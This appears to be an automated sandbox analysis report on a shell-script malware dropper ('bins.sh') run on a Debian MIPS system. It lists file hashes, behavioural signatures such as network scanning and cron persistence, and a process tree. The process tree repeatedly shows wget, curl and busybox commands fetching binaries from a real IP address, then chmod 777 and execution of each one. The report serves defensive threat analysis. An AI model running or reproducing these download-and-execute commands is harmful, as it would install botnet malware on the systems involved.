Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04-11-2024 23:27

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    0608e8f1df47e2008cb35811c967d18e

  • SHA1

    d9c11296c385ae6dd53490fbb042c51fb00734c0

  • SHA256

    2835c76202590f8f399672f9075da9d4ecf4cad9ad13f1d864081841188cf7cc

  • SHA512

    8b65cb5e0aa378cfb150c7f17bf7833760d5844625d83f742c9e56330d9636c64545ca9a48f1ec8ae12a3106ab3103e64f29adcee26bfec9797a0dac31cf465c

  • SSDEEP

    192:WHHqLCEO+xjXjjjojfj/juUIguu65GW0/u65GW0uHHqLojXjjjojfj/j5Ok:WHHqLC5+xTX8TbaUIg/HHqLoTX8Tbwk

Malware Config

Signatures

  • Contacts a large (1566) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 22 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:709
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:713
        • /usr/bin/wget
          wget http://87.120.84.230/bins/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
          2⤵
          • Writes file to tmp directory
          PID:719
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
          2⤵
          • Writes file to tmp directory
          PID:733
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
          2⤵
          • Writes file to tmp directory
          PID:739
        • /bin/chmod
          chmod 777 SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
          2⤵
          • File and Directory Permissions Modification
          PID:740
        • /tmp/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
          ./SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
          2⤵
          • Executes dropped EXE
          PID:741
        • /bin/rm
          rm SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx
          2⤵
            PID:743
          • /usr/bin/wget
            wget http://87.120.84.230/bins/ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
            2⤵
            • Writes file to tmp directory
            PID:744
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
            2⤵
            • Writes file to tmp directory
            PID:745
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
            2⤵
            • Writes file to tmp directory
            PID:746
          • /bin/chmod
            chmod 777 ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
            2⤵
            • File and Directory Permissions Modification
            PID:747
          • /tmp/ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
            ./ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
            2⤵
            • Executes dropped EXE
            PID:748
          • /bin/rm
            rm ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD
            2⤵
              PID:750
            • /usr/bin/wget
              wget http://87.120.84.230/bins/NsUH1PIP0DVZrHrUQ6iUBxx8N4n4doOYZg
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:751
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/NsUH1PIP0DVZrHrUQ6iUBxx8N4n4doOYZg
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:752
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/NsUH1PIP0DVZrHrUQ6iUBxx8N4n4doOYZg
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:756
            • /bin/chmod
              chmod 777 NsUH1PIP0DVZrHrUQ6iUBxx8N4n4doOYZg
              2⤵
              • File and Directory Permissions Modification
              PID:761
            • /tmp/NsUH1PIP0DVZrHrUQ6iUBxx8N4n4doOYZg
              ./NsUH1PIP0DVZrHrUQ6iUBxx8N4n4doOYZg
              2⤵
              • Executes dropped EXE
              • System Network Configuration Discovery
              PID:762
            • /bin/rm
              rm NsUH1PIP0DVZrHrUQ6iUBxx8N4n4doOYZg
              2⤵
              • System Network Configuration Discovery
              PID:765
            • /usr/bin/wget
              wget http://87.120.84.230/bins/bOo6Z4H2dYrTKlGh8xuxYZbA8AQaMyqtvU
              2⤵
              • Writes file to tmp directory
              PID:766
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/bOo6Z4H2dYrTKlGh8xuxYZbA8AQaMyqtvU
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:775
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/bOo6Z4H2dYrTKlGh8xuxYZbA8AQaMyqtvU
              2⤵
              • Writes file to tmp directory
              PID:782
            • /bin/chmod
              chmod 777 bOo6Z4H2dYrTKlGh8xuxYZbA8AQaMyqtvU
              2⤵
              • File and Directory Permissions Modification
              PID:787
            • /tmp/bOo6Z4H2dYrTKlGh8xuxYZbA8AQaMyqtvU
              ./bOo6Z4H2dYrTKlGh8xuxYZbA8AQaMyqtvU
              2⤵
              • Executes dropped EXE
              PID:788
            • /bin/rm
              rm bOo6Z4H2dYrTKlGh8xuxYZbA8AQaMyqtvU
              2⤵
                PID:791
              • /usr/bin/wget
                wget http://87.120.84.230/bins/VVaDJRL40dYEikyXF0h8wdSDhks1hfXczD
                2⤵
                • Writes file to tmp directory
                PID:793
              • /usr/bin/curl
                curl -O http://87.120.84.230/bins/VVaDJRL40dYEikyXF0h8wdSDhks1hfXczD
                2⤵
                • Writes file to tmp directory
                PID:804
              • /bin/busybox
                /bin/busybox wget http://87.120.84.230/bins/VVaDJRL40dYEikyXF0h8wdSDhks1hfXczD
                2⤵
                • Writes file to tmp directory
                PID:811
              • /bin/chmod
                chmod 777 VVaDJRL40dYEikyXF0h8wdSDhks1hfXczD
                2⤵
                • File and Directory Permissions Modification
                PID:813
              • /tmp/VVaDJRL40dYEikyXF0h8wdSDhks1hfXczD
                ./VVaDJRL40dYEikyXF0h8wdSDhks1hfXczD
                2⤵
                • Executes dropped EXE
                PID:814
              • /bin/rm
                rm VVaDJRL40dYEikyXF0h8wdSDhks1hfXczD
                2⤵
                  PID:816
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/jcuHyu2oXUS6bVQxWPa5TsU1srF76Z42Vh
                  2⤵
                  • Writes file to tmp directory
                  PID:817
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/jcuHyu2oXUS6bVQxWPa5TsU1srF76Z42Vh
                  2⤵
                  • Writes file to tmp directory
                  PID:818
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/jcuHyu2oXUS6bVQxWPa5TsU1srF76Z42Vh
                  2⤵
                  • Writes file to tmp directory
                  PID:822
                • /bin/chmod
                  chmod 777 jcuHyu2oXUS6bVQxWPa5TsU1srF76Z42Vh
                  2⤵
                  • File and Directory Permissions Modification
                  PID:823
                • /tmp/jcuHyu2oXUS6bVQxWPa5TsU1srF76Z42Vh
                  ./jcuHyu2oXUS6bVQxWPa5TsU1srF76Z42Vh
                  2⤵
                  • Executes dropped EXE
                  PID:824
                • /bin/rm
                  rm jcuHyu2oXUS6bVQxWPa5TsU1srF76Z42Vh
                  2⤵
                    PID:826
                  • /usr/bin/wget
                    wget http://87.120.84.230/bins/5SDJ479U7Agm7HfiM0ydEH2fcECI5ssUuz
                    2⤵
                    • Writes file to tmp directory
                    PID:827
                  • /usr/bin/curl
                    curl -O http://87.120.84.230/bins/5SDJ479U7Agm7HfiM0ydEH2fcECI5ssUuz
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:828
                  • /bin/busybox
                    /bin/busybox wget http://87.120.84.230/bins/5SDJ479U7Agm7HfiM0ydEH2fcECI5ssUuz
                    2⤵
                    • Writes file to tmp directory
                    PID:838
                  • /bin/chmod
                    chmod 777 5SDJ479U7Agm7HfiM0ydEH2fcECI5ssUuz
                    2⤵
                    • File and Directory Permissions Modification
                    PID:842
                  • /tmp/5SDJ479U7Agm7HfiM0ydEH2fcECI5ssUuz
                    ./5SDJ479U7Agm7HfiM0ydEH2fcECI5ssUuz
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:843
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:846
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                          • Reads runtime system information
                          PID:847
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:849
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:850
                      • /bin/rm
                        rm 5SDJ479U7Agm7HfiM0ydEH2fcECI5ssUuz
                        2⤵
                          PID:856
                        • /usr/bin/wget
                          wget http://87.120.84.230/bins/gZ0kk6cuL2fFWZoSVVKtCTQkJWzkARpAUF
                          2⤵
                            PID:859
                          • /usr/bin/curl
                            curl -O http://87.120.84.230/bins/gZ0kk6cuL2fFWZoSVVKtCTQkJWzkARpAUF
                            2⤵
                              PID:920
                            • /bin/busybox
                              /bin/busybox wget http://87.120.84.230/bins/gZ0kk6cuL2fFWZoSVVKtCTQkJWzkARpAUF
                              2⤵
                              • Writes file to tmp directory
                              PID:944
                            • /bin/chmod
                              chmod 777 gZ0kk6cuL2fFWZoSVVKtCTQkJWzkARpAUF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:953
                            • /tmp/gZ0kk6cuL2fFWZoSVVKtCTQkJWzkARpAUF
                              ./gZ0kk6cuL2fFWZoSVVKtCTQkJWzkARpAUF
                              2⤵
                              • Executes dropped EXE
                              PID:955
                            • /bin/rm
                              rm gZ0kk6cuL2fFWZoSVVKtCTQkJWzkARpAUF
                              2⤵
                                PID:958
                              • /usr/bin/wget
                                wget http://87.120.84.230/bins/q2zm3mTjUCT2Sluv2qE2YbmAsphHAhAdIG
                                2⤵
                                  PID:959

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/5SDJ479U7Agm7HfiM0ydEH2fcECI5ssUuz

                                Filesize

                                151KB

                                MD5

                                6c583043d91c55aa470c08c87058e917

                                SHA1

                                abf65a5b9bba69980278ad09356e53de8bb89439

                                SHA256

                                2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                SHA512

                                82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                              • /tmp/NsUH1PIP0DVZrHrUQ6iUBxx8N4n4doOYZg

                                Filesize

                                107KB

                                MD5

                                eb9c3a0de91fcf16ba17cb24608df68c

                                SHA1

                                09d95a7d70d5e115d103be51edff7c498d272fac

                                SHA256

                                dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                SHA512

                                9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                              • /tmp/SxD3kQrbiKwKyQbrOZpB7Qn8GS0wnXaaZx

                                Filesize

                                99KB

                                MD5

                                9438d9bc392bcf300a5583b6df5bc8f6

                                SHA1

                                375a6ae34b516f6f3eeea8030c4084f585017efa

                                SHA256

                                68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                SHA512

                                1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                              • /tmp/VVaDJRL40dYEikyXF0h8wdSDhks1hfXczD

                                Filesize

                                119KB

                                MD5

                                1b166b95f9cb4b079ef1b9ec8363ddf3

                                SHA1

                                0d8eb08add467b3b5474f9b25909297fe7c2839c

                                SHA256

                                94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                SHA512

                                983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                              • /tmp/ZkTy5PXlO8Nnu0VK7nK6WAeAK2X13E5CtD

                                Filesize

                                177KB

                                MD5

                                786d75a158fe731feca3880f436082c0

                                SHA1

                                79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                SHA256

                                5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                SHA512

                                7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                              • /tmp/bOo6Z4H2dYrTKlGh8xuxYZbA8AQaMyqtvU

                                Filesize

                                117KB

                                MD5

                                849fa04ef88a8e8de32cb2e8538de5fe

                                SHA1

                                c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                SHA256

                                8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                SHA512

                                2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                              • /tmp/gZ0kk6cuL2fFWZoSVVKtCTQkJWzkARpAUF

                                Filesize

                                141KB

                                MD5

                                3ca8decdb1e52c423c521bfff02ac200

                                SHA1

                                8621ecd6807109b8541912ad9e134f6fb49bfd48

                                SHA256

                                dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                SHA512

                                b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                              • /tmp/jcuHyu2oXUS6bVQxWPa5TsU1srF76Z42Vh

                                Filesize

                                127KB

                                MD5

                                89077b7bd4bcafca7713be43635c4862

                                SHA1

                                fc02edb8fba29ea8ee99e6157ef8560334530052

                                SHA256

                                78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                SHA512

                                1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                              • /var/spool/cron/crontabs/tmp.xXUCGw

                                Filesize

                                210B

                                MD5

                                095b7c9e101baa432fcbb45c368d38ed

                                SHA1

                                1ecdcd813867470bc505ba120a0e93da38fb3cba

                                SHA256

                                39adcaf4cb2d9367d0903e1332f5dca08418046a3d83c5bacee70fdd65ffd8d1

                                SHA512

                                49c985254f4fb05be9f1a468cf5f878f17d515ba8a9941ec43c3c32d0cd617d1b130afc620828c9c5b47aea73464d3449a05db64396035c433599c27852cd7cb